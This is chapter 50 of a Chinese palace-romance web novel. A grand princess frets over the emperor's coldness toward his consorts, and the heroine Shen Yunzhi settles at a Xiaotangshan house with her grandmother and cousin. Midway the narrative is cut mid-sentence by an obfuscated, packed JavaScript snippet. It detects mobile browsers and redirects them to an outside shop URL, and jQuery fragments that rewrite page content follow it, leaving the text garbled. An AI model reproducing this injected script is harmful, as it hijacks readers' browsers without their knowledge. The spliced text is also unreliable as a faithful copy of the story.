50. 小汤山

作品:《别居后被天子觊觎了

    大长公主问出这话来,嬷嬷脸色变了变,哪里敢回答。


    迟疑片刻,嬷嬷没直接回答而是道:“皇上忙于朝政不常去后宫,妃嫔们多畏惧皇上。娴贵妃一直想叫侄女崔棠进宫侍奉皇上,亲自下厨做了膳食请皇上去景阳宫,皇上却是一直没去,后宫妃嫔不免笑话娴贵妃。”


    大长公主揉了揉眉心,轻轻叹了一口气:“本宫就知道他那性子怎么都改不了,他哪里只是不亲近后宫,他是谁都不亲近,哪怕对本宫这个姑母,也是敬重多过亲近。”


    嬷嬷不敢接这个话,皇上和先帝不同,成日忙于朝政疏远后宫乃是明君,膝下已有皇子皇女,说不上子嗣单薄,朝臣都说不了皇上一句不好,可偏偏这些年朝臣愈发畏惧皇上威严。


    大长公主挥了挥手,叫嬷嬷退下了。


    等到嬷嬷退出去,她抿了口茶,这才对跟了她多年的心腹樊嬷嬷道:“皇帝这样本宫心里头实在不安生,都说他是个好皇帝,可本宫却觉着他帝威渐重内里却像是个火药桶一般,不知什么时候就点燃了,闹出大事来。他这样,竟不如先帝叫本宫感觉踏实。一个无情无欲凡事都不在乎的皇帝,你说他若是有一日发起疯来,这天下会成个什么样子?”


    樊嬷嬷是知道自家主子心中的担忧的,只是皇上看起来很能克制自己的脾气,她轻声道:“您兴许是多想了,皇上不似先帝,打小得大儒教导最重礼法规矩,又一向内敛自持待后宫也不严苛,怎么算不得好呢?您担心皇上有一日会发疯,可也只是您的猜测罢了,兴许皇上一直这样,等年纪大了,立了太子,朝堂就愈发稳固了。退一步说,您是看着皇上长大的,皇上既然敬重您,哪怕有什么不妥您多劝劝皇上就是了。”


    大长公主看了她一眼,没好气道:“你这话说了等于没说。先帝当年和筝姐姐的事情闹得天下皆知,我当时帮不了筝姐姐,只能见着筝姐姐被迫困于宫中,也曾怨怪皇兄为何不顾体面做出这等君夺臣妻的荒唐事。可如今瞧着皇帝这个清心寡欲对谁都不上心,这世上没哪个能拨动他心弦的样子,我倒觉着皇兄当年再荒唐也比皇帝这样叫我安生。”


    “别的不说,娴贵妃这些年在那个位置上看着风光,可皇帝去过她景阳宫几回?可曾留宿过一回?”


    “当年本宫就看出娴贵妃救驾有故意拿腹中孩子换功之嫌,可皇上却言她伤了身子再难有孕,直接便给了她贵妃的位分。可这些年你瞧娴贵妃可有好好过过一天?她若是心里头踏实,哪里会想着叫侄女崔棠进宫?”


    樊嬷嬷脸色微微一变,带着几分不敢置信猜测道:“主子您的意思,皇上是在故意折磨娴贵妃?”


    大长公主点了点头:“最初几年本宫没回过味儿来,想着娴贵妃冲上去救驾,哪怕多此一举也是为着护着皇上,她失了肚子里的孩子又因着伤在腹部再难有孕,贵妃的位分虽高,可皇帝龙体要紧,这位分给出去也就给出去了。”


    “可这些年,本宫瞧着皇上待娴贵妃的态度,愈发觉出不对味儿来。本宫便想到当年筝姐姐被皇兄强纳进宫被迫生下皇帝,她精神本就有些不好,不喜皇帝这个儿子,那一回敏妃将皇帝推进湖中,筝姐姐站在不远处,竟任由皇帝在水中挣扎却不出手相救,最后皇帝虽被救了下来,敏妃被废黜赐死,皇兄将此事压了下来,可皇帝心里怎么能没有芥蒂?”


    大长公主喃喃道:“娴贵妃拿腹中孩子救驾,你说皇帝对她此举是喜还是恶?给了她贵妃的位分是赏还是罚?”


    殿内温暖,樊嬷嬷听到大长公主的这番话后却是忍不住打了个寒颤,后背也有些发凉。


    大长公主见她这样,发愁道:“本宫就盼着有人能牵动他的心,教会他什么叫做感情,从过去的事情里走出来,总好过看他一年年这个样子,叫人心惊。”


    “娴贵妃那侄女皇帝多半是不会叫她进宫侍奉的,本宫听嬷嬷说了崔宣和勇庆侯府的事情,想来有那样的兄长崔棠也不是什么好的,倒也不觉着可惜。只是本宫想着,等过些时候和太后商量商量,叫宫里多进几个新人,若是皇帝瞧上了,本宫也能少操心些。”


    “而且,后宫的子嗣也还是少了些,皇子也没个得他看重的。”


    樊嬷嬷点了点头,只是心中想起皇帝这些年的性子,不免觉着自己主子兴许是白忙活一场。


    皇上那样的性子,能瞧上哪个?


    ......


    这边,沈云稚又在寺庙里住了两日,便和外祖母鲁老夫人还有表姐孟茹乘马车一路往小汤山这边来了。


    沈云稚本来觉着外祖母年纪大了一路舟车劳顿不想叫她陪着,鲁老夫人却是性子强硬,问道:“我去哪里歇着都是歇着,难道去了你那宅子就不能好好歇一歇了?非要我回孟府去?”


    沈云稚听外祖母这样说,哪里敢再劝,只能莞尔道:“怎么会,外祖母想住多久就住多久,只要外祖母不嫌小汤山那边太过冷清安静就好。”


    孟茹看着她和鲁老夫人一来一回说话,忍不住拿帕子掩嘴偷笑。


    沈云稚见到了,眉眼带笑,心中却是暖暖的。


    外祖母和表姐叫她头一次有了家人的感觉,虽说彼此相处不久,可就短短几日,她觉着外祖母和表姐给了她想要却一直求而不得的亲情,叫她觉着自己也是会被人喜欢被人心疼的。


    这种感觉很稀罕,深入骨髓叫她觉着日子都有了盼头,没有往日里那般活着便是熬日子的感觉了。


    果然,和崔宣和离离开勇庆侯府,也离开显国公府自己搬出来是正确的选择。


    要不然,哪里会有这样轻松自在的日子。


    当然,也是她幸运,得了外祖母和表姐的怜惜和喜欢。


    马车徐徐驶出寺庙所在的地方,到傍晚时才到了小汤山的宅子。


    孟氏早就派人来收拾宅子,门房也有旧日里看门的婆子,见着马车停下来,忙进去回禀了管事的许嬷嬷,等到鲁老夫人几人下了马车,管事许嬷嬷已经匆匆从宅子里出来。


    “老奴见过老夫人,见过表姑娘和二姑娘。”


    鲁老夫人微微颔首,问道:“可都收拾妥当了?”


    许嬷嬷回道:“回老夫人的话,都妥当了。大夫人派了丫鬟婆子过来收拾,细细打扫整理过,该采买的都采买了,膳房也安排了人,直接就能住下来了。”


    她朝着鲁老夫人福身行礼,起身恭敬回话,眼睛却是不着痕迹一直往沈云稚这里瞟。


    她和二姑娘沈云稚只照过几回面,印象里当初被认回来的二姑娘性子温婉乖顺,甚至还带了几分怯懦,在面对大夫人孟氏这个生母的时候更是谨小慎微,听话规矩怕被大夫人不喜,觉着她这个自小不在显国公府长大的亲女儿比不上夫人养在身边的宋澜月。


    后来,沈云稚代替宋澜月嫁去勇庆侯府,大婚当夜便出了那样的事情。之后她听说了沈云稚在勇庆侯府的处境,心里也是一阵唏嘘,觉着二姑娘的命可真是不好。


    若是没有掉包这桩事情,哪里会落得那般处境,年纪轻轻守寡不说,还被婆母薛氏那样磋磨折腾,娘家显国公府也看着她受苦丝毫不替她撑腰。


    她唏嘘之后,甚至想着依着沈云稚的性子,被那样磋磨折腾,多半也在侯府撑不了几年,说不得过上几年便郁结于心早早送了性命。


    不曾想,峰回路转崔宣带着怀孕的宋澜月回来了,沈云稚这位她曾经觉着乖顺懂事的人,却是执意和崔宣和离,如今要搬来这小汤山的宅子住了。


    自家夫人孟氏当初


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401043|197416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不喜这个认回来的女儿,如今对这个和离的女儿却也上了心,想要补偿她了。


    她看着沈云稚,见她这般貌美,心中又是一阵唏嘘,这般年轻便和离了哪怕失了清白的身子往后也不是不好再嫁,可偏偏,沈云稚得罪的是勇庆侯府,是宫中的娴贵妃娘娘,她和崔宣还有宋澜月的事情又闹得人尽皆知,纵她如此貌美又没和崔宣圆房,只怕也只能将日子消磨在这清净的小汤山了。


    小汤山景致虽好,可对于沈云稚这般年轻的姑娘来说,无异于宫中的冷宫了。


    许嬷嬷一边想,一边领着鲁老夫人和沈云稚她们往宅子里走。


    宅子清幽雅静,三进的院落比不得勇庆侯府和显国公府,可对于沈云稚来说,已经算是不错了。


    众人跟着许嬷嬷一路去了正房,房间里布置雅致得当,软塌上铺着厚厚的杭绸绣折枝芙蓉褥子,摆了一张黑漆雕花小炕桌,上头是成套的汝窑粉彩茶盏,瞧着就格外打眼。


    见着沈云稚看着桌上的茶盏,许嬷嬷解释道:“这套粉彩茶盏很是稀罕,是夫人特意叫奴婢们从国公府带过来,拿给姑娘您用的。”


    “这回连同姑娘的嫁妆一块儿带过来的还有夫人私库里的好些东西,夫人怕姑娘在这里受苦,一应东西都是挑了又挑,再好不过的,装了三抬红木箱子呢。”


    沈云稚听着这话便知道这些都是当初她出嫁时孟氏从原有的嫁妆箱子里拿出来,想着往后等宋澜月出嫁给她当嫁妆的。


    孟氏觉着她配不上那些好东西,如今却叫人送了过来。


    沈云稚不是小孩子,自然不会发脾气叫人将这些东西拿回去。


    这些嫁妆原本就该是她的,孟氏既然想要补偿她,给她这些东西,她收了就是。


    只是,她不会将孟氏的补偿当作一片慈母之心因此心生动容。


    沈云稚扶着鲁老夫人到软塌前坐了下来。


    丫鬟上了茶水和点心,沈云稚和孟茹也坐下来陪着老夫人闲聊喝茶。


    鲁老夫人喝了半盏茶,对着沈云稚道:“年纪大了精力不济,我先去歇歇,等到用膳时再叫我。”


    沈云稚想叫外祖母在这正房歇下,自己搬去别处。只是她才想开口,话还没来得及说出来鲁老夫人就道:“这屋子你们姑娘家住着正好,宅子里屋子不少,我自己寻个屋子住下就好。”


    “叫许嬷嬷陪着我一块儿去吧,我也和她说说话。你和茹丫头不累的话,再说会儿话,就别跟着我一块儿了。”


    鲁老夫人说着,就往外走,许嬷嬷连忙跟了上去。


    沈云稚知道她的心思,也知外祖母是有话要问许嬷嬷,多半是关于这宅子里丫鬟婆子的事情。


    她站在那里目送外祖母出去,眼圈有些酸涩。


    外祖母待她好,处处都想帮她护她。


    她觉着自己有些不争气,当初在勇庆侯府那样都渐渐不哭了,知道哭没用,如今逃离了勇庆侯府,遇上了这样好的外祖母和表姐,她却是经常眼睛酸涩喉咙哽咽。


    她坐回去低着头喝茶,按捺下这些情绪。


    孟茹拉着她的手,道:“你别多想,祖母疼我和疼你一样,我平日里也经常叫祖母替我操心,也不觉着如何,咱们当晚辈的记着这些,多陪陪老人家就好了。祖母年纪大了,可经常说她要替晚辈们忙活操心,才能保持精气神,不然真歇下来了,反倒是不好。”


    沈云稚点了点头,有些不好意思的对着孟茹笑了笑,继续闲聊起来。


    很快就到了用膳的时候,沈云稚正和老夫人她们用着晚膳,门房的婆子却是急匆匆过来,面带喜色回禀道:“老夫人,姑娘,大长公主过些日子要办赏花宴,不知怎么也给姑娘下了帖子,叫姑娘去赏花宴呢。”